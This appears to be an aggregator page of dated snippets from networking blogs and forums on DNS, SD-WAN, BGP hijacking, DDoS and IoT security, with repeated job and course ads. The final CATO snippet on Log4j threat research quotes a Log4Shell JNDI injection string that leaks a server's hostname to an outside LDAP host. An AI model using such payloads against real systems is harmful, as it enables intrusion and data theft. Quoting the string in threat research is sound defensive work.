Network Engineering

JANUARY 30, 2025

Every interface can be pinged without issue, and the Kali machine also connects to the internet just fine; my main frustration at this point is why I can't seem to connect the Debian side to the internet. doesn't work as well as nslookup, and currently when I use wireshark it shows strings of attempting to make DNS queries to 8.8.8.8

Internet 52

Internet LAN Virtual machine Gateway 52

ByteByteGo

JANUARY 25, 2025

The zero flakes guarantee cuts out false alarms and wasted engineering hours. The Ultimate API Learning Roadmap APIs are the backbone of communication over the Internet. After DNS resolution, the requests reach the app servers. Unlimited parallel test runs validate every change in minutes, not days. API First Oauth 2.0

Cookie 173

Cookie Gateway Server Application 173

CATO Networks

JANUARY 5, 2021

In Catos Sales Engineers Demo and Interview Video Series , our sales engineers show you their Cato favorites. Jerry shows how easy it is when you use the right DNS settings, making sure that access is enforced correctly, unaffected by IP address changes. Cato also provides unparalleled visibility into WAN traffic and security.

SASE 52

SASE Engineering Bandwidth WAN 52

Engineering at Meta

MAY 3, 2023

We’re sharing our latest threat research and technical analysis into persistent malware campaigns targeting businesses across the internet, including threat indicators to help raise our industry’s collective defenses across the internet. For more security tips, visit our Newsroom.

Cookie 116

Cookie Internet JavaScript Media 116

Network Engineering

MAY 7, 2023

We would like to configure SDWAN for our branch site that only has broadband internet. Because the Public IP changes from time to time, We would like to use FQDN, and so we need to configure DDNS on the internet interface. In order to do that we need to know from which public IP does the PAN use to initiate the SDWAN.

Internet 52

Internet Routers Server DNS 52

DoorDash Engineering

AUGUST 15, 2023

For example, our DNS probe has an event with just the network namespace id (netns), process id (pid), and the raw packet data. pkg: github.com/doordash/bpfagent/pkg/tracing/dns cpu: Intel(R) Core(TM) i9-8950HK CPU @ 2.90GHz BenchmarkEventUnmarshal-12 8289015 127.0 rdr, err := ringbuf.NewReader(p.objs.Events) //.

DNS 84

DNS TCP Application Network 84

Rule 11

JULY 27, 2024

Are you considering the switch from network engineer to cloud engineer? The Internet Systems Consortium (ISC) has released patches to address multiple security vulnerabilities in the Berkeley Internet Name Domain (BIND) 9 Domain Name System (DNS) software suite that could be exploited to trigger a denial-of-service (DoS) condition.

Wireless 52

Wireless DNS Internet Cloud 52

Kentik

JUNE 14, 2023

An engineer standing in front of a console today stares at the traffic moving from their on-prem data center up and out to a CASB, receiving DNS responses from a cloud-provided DNS service, and then on through an ephemeral microservices architecture in a public cloud.

WAN 59

WAN Data Centers DNS Internet 59

Kentik

JUNE 4, 2019

By the end of this post you should have a pretty good idea of how True Origin helps network operations and engineering, particularly for Internet Service Providers. That’s why True Origin is a major step forward for every ISP carrying a significant volume of Internet-sourced content. What is True Origin?

DNS 56

DNS Server Internet Network 56

CATO Networks

MAY 7, 2024

Telltale threat indicators are often available but spread across the threat information and network activity of inbound (and outbound) internet traffic, WAN traffic, cloud traffic, and remote user traffic. Our data indicates that only 1% of DNS traffic utilizes Secure DNS. Check out the report to see which one it is.

SASE 52

SASE DNS Real Estate SMB 52

CATO Networks

JUNE 4, 2017

For SD-WAN s, the Internet has been their weakness. These backbones use cloud intelligence and Internet economics to seamlessly combine networking with advanced security at a fraction of the cost of MPLS. Careful traffic engineering was necessary due to limited available bandwidth. We call these secured backbones the UberNet.

MPLS 52

MPLS Internet Bandwidth WAN 52

CATO Networks

OCTOBER 17, 2017

Its no secret that there are significant concerns with Internet of Things (IoT) security. The following month, the Mirai botnet arranged 100,000 IoT devices to launch an attack on DYN , the DNS provider. The following month, the Mirai botnet arranged 100,000 IoT devices to launch an attack on DYN , the DNS provider.

IoT 52

IoT Government Internet Telecommunications 52

Kentik

NOVEMBER 4, 2018

Simply put: Rust is a big part of how Kentik ingests Gigabits per second representing over a Petabit per second of Internet traffic, and stores 100 TB of network flow data each day. We also utilize nom , an excellent Rust parser combinator library, for high-performance decoding of application layer protocols like DHCP, DNS, and HTTP.

IP Address 67

IP Address Protocol TCP DNS 67

Kentik

APRIL 24, 2023

What do network engineers working in the trenches, slinging packets, untangling coils of fiber, and spending too much time in the hot aisle really want from all their efforts? Some of these devices an enterprise network engineer owns and manages, and a lot of it they don’t. The answer is simple. So how do we get there?

Network 52

Network Networking DNS Data Centers 52

CATO Networks

JUNE 4, 2024

Those stakeholders can include members of management, security analysts, network engineers, application owners, and even your external partners (MSPs, VoIP, ISPs, etc.). When the Cato Sockets arrive at your locations, you will be ready to connect them to the Internet and the Cato Cloud.

SASE 52

SASE Firewall Encryption Network 52

Kentik

MARCH 15, 2023

The attacker can spoof IP addresses, DNS, HTTPS headers, and more to deceive users into interacting with compromised applications. BGP hijacking has increasingly become a concern, as they cause changes to the routing of the internet’s autonomous systems and can cause severe disruption to a web application’s internet traffic.

Network 94

Network Networking Protocol IP Address 94

Kentik

FEBRUARY 13, 2017

What does a top-notch engineering team do for fun? At a recent on-site in our San Francisco headquarters, Kentik engineers both local and remote came together to confer on work in progress, discuss technical topics, and plan for the year ahead. This project took a feed of DNS data and performed a streaming analysis of flow data.

Routers 40

Routers DNS Protocol Engineering 40

High Scalability

NOVEMBER 12, 2019

Sisu Data is looking for machine learning engineers who are eager to deliver their features end-to-end, from Jupyter notebook to production, and provide actionable insights to businesses based on their first-party, streaming, and structured relational data. Apply here. There's also a no questions asked 30-day return policy.

Education 9

Education Advertising JavaScript Server 9

High Scalability

OCTOBER 15, 2019

Sisu Data is looking for machine learning engineers who are eager to deliver their features end-to-end, from Jupyter notebook to production, and provide actionable insights to businesses based on their first-party, streaming, and structured relational data. Apply here. There's also a no questions asked 30-day return policy.

Education 8

Education Advertising JavaScript Server 8

High Scalability

OCTOBER 29, 2019

Sisu Data is looking for machine learning engineers who are eager to deliver their features end-to-end, from Jupyter notebook to production, and provide actionable insights to businesses based on their first-party, streaming, and structured relational data. Apply here. There's also a no questions asked 30-day return policy.

Education 8

Education Advertising JavaScript Server 8

Kentik

JULY 8, 2019

Border Gateway Protocol (more commonly known as BGP ) is the routing protocol that makes the internet work. Time and time again, this resulted in a “BGP prefix hijack,” where, in many cases, part of the internet was unreachable. However, an improved routing security mechanism to make the internet routing world safer does exist.

Routers 58

Routers Protocol Internet Advertising 58

Kentik

MAY 3, 2017

Lastly, listen to Pandora’s head of network operations and engineering talk about how the music-streaming company is getting better network performance for better customer experience. Transatlantic link typo by Sweden’s Telia broke Cloudflare in the US (The Register) Typos can break the internet.

Digital Transformation 40

Digital Transformation Cloud Network Networking 40

Kentik

MARCH 13, 2019

Distributed denial-of-service (DDoS) attacks have been a continuous threat since the advent of the commercial Internet. For example, during an attack, service provider network engineers need to be skilled at finding attacks, choosing an appropriate mitigation strategy, and have proper access to the infrastructure to apply it.

IP Address 49

IP Address Port Routers DNS 49

High Scalability

JULY 19, 2019

Triplebyte lets exceptional software engineers skip screening steps at hundreds of top tech companies like Apple, Dropbox, Mixpanel, and Instacart. Grokking the System Design Interview is a popular course on Educative.io (taken by 20,000+ people) that's widely considered the best System Design interview resource on the Internet.

Education 9

Education Advertising Server Engineering 9

High Scalability

AUGUST 20, 2019

Triplebyte lets exceptional software engineers skip screening steps at hundreds of top tech companies like Apple, Dropbox, Mixpanel, and Instacart. Grokking the System Design Interview is a popular course on Educative.io (taken by 20,000+ people) that's widely considered the best System Design interview resource on the Internet.

Education 8

Education Advertising Server Engineering 8

High Scalability

AUGUST 6, 2019

Triplebyte lets exceptional software engineers skip screening steps at hundreds of top tech companies like Apple, Dropbox, Mixpanel, and Instacart. Grokking the System Design Interview is a popular course on Educative.io (taken by 20,000+ people) that's widely considered the best System Design interview resource on the Internet.

Education 8

Education Advertising Server Engineering 8

High Scalability

SEPTEMBER 3, 2019

Triplebyte lets exceptional software engineers skip screening steps at hundreds of top tech companies like Apple, Dropbox, Mixpanel, and Instacart. Grokking the System Design Interview is a popular course on Educative.io (taken by 20,000+ people) that's widely considered the best System Design interview resource on the Internet.

Education 8

Education Advertising Server Engineering 8

High Scalability

OCTOBER 1, 2019

Sisu Data is looking for machine learning engineers who are eager to deliver their features end-to-end, from Jupyter notebook to production, and provide actionable insights to businesses based on their first-party, streaming, and structured relational data. Apply here. There's also a no questions asked 30-day return policy.

Education 8

Education Advertising Server Engineering 8

NW Kings

DECEMBER 10, 2024

Registered Ports (1024-49151) : These ports are registered with the Internet Assigned Numbers Authority (IANA) for specific applications but are not as universally recognized as well-known ports. NOTE : Join the Network Engineer Master’s Program by Network Kings today. How does the TCP port work?

UDP port 40

UDP port Port TCP IP Address 40

High Scalability

SEPTEMBER 17, 2019

Triplebyte lets exceptional software engineers skip screening steps at hundreds of top tech companies like Apple, Dropbox, Mixpanel, and Instacart. Grokking the System Design Interview is a popular course on Educative.io (taken by 20,000+ people) that's widely considered the best System Design interview resource on the Internet.

Education 8

Education Advertising Server Engineering 8

CATO Networks

MAY 20, 2024

A couple phenomena of IP usage across the internet add a layer of complexity to correct identifications: Dynamic IP addresses – often used by ISPs to move an IP between customers when it is no longer in use, making it harder to track and block malicious activity effectively.

IP Address 52

IP Address Server Port SMB 52

CATO Networks

APRIL 19, 2017

Easy and Rapid Configuration For years, WAN engineering has meant learning CLIs and scripts, mastering protocols like BGP, OSPF, PBR, and more. Some companies lack the internal engineering expertise, others have the expertise, but far too many elements in their networks.

WAN 40

WAN MPLS Wide Area Network Firewall 40

CATO Networks

DECEMBER 10, 2024

IoT/OT Security Challenges For CISOs, protecting Internet of Things (IoT) and Operational Technology (OT) environments is critical to maintaining a strong security posture and reducing risk. AI/ML engines fingerprint devices on the network, mapping their type, manufacturer, and version.

IoT 52

IoT SASE Network Networking 52

CATO Networks

APRIL 20, 2022

Maybe youre an IT manager or a network engineer. This couldnt have come at a better time… Employees have been blowing up the helpdesk, complaining about slow internet, laggy Zoom calls and demos that disconnect with prospects. Its about a year before your MPLS contract expires, and youve been told to cut costs by your CFO.

MPLS 52

MPLS WAN SASE Network 52

Kentik

DECEMBER 18, 2019

These include SNMP, DNS, RADIUS and streaming telemetry. Last month at DENOG11 in Germany, Kentik Site Reliability Engineer Costas Drogos talked about the SRE team’s journey during the last four years of growing Kentik’s infrastructure to support thousands of BGP sessions with customer devices on Kentik’s multi-tenant SaaS (cloud) platform.

Server 13

Server Topology TCP Network 13

CATO Networks

MARCH 23, 2017

Smith noted in his keynote that the lack of international norms guiding nation state behavior on the Internet has led us into dangerous territory where nation states take action against civilians. The Mirai botnet that launched the DDOS attack DYNs DNS, for example, used home routers, cameras and other IOT devices.

Cloud 52

Cloud Network Networking Wide Area Network 52

CATO Networks

DECEMBER 13, 2021

To make things worse, working PoCs (Proof of Concept) are already available on the internet, making even inexperienced attackers a serious threat. Sinkholes are internet-facing servers that collect traffic sent to them when a vulnerabilityPoCis found to be successful. x= ${jndi:ldap://1.${hostName}.<REDACTED> hostName}.<REDACTED>

Server 52

Server DNS Internet Network 52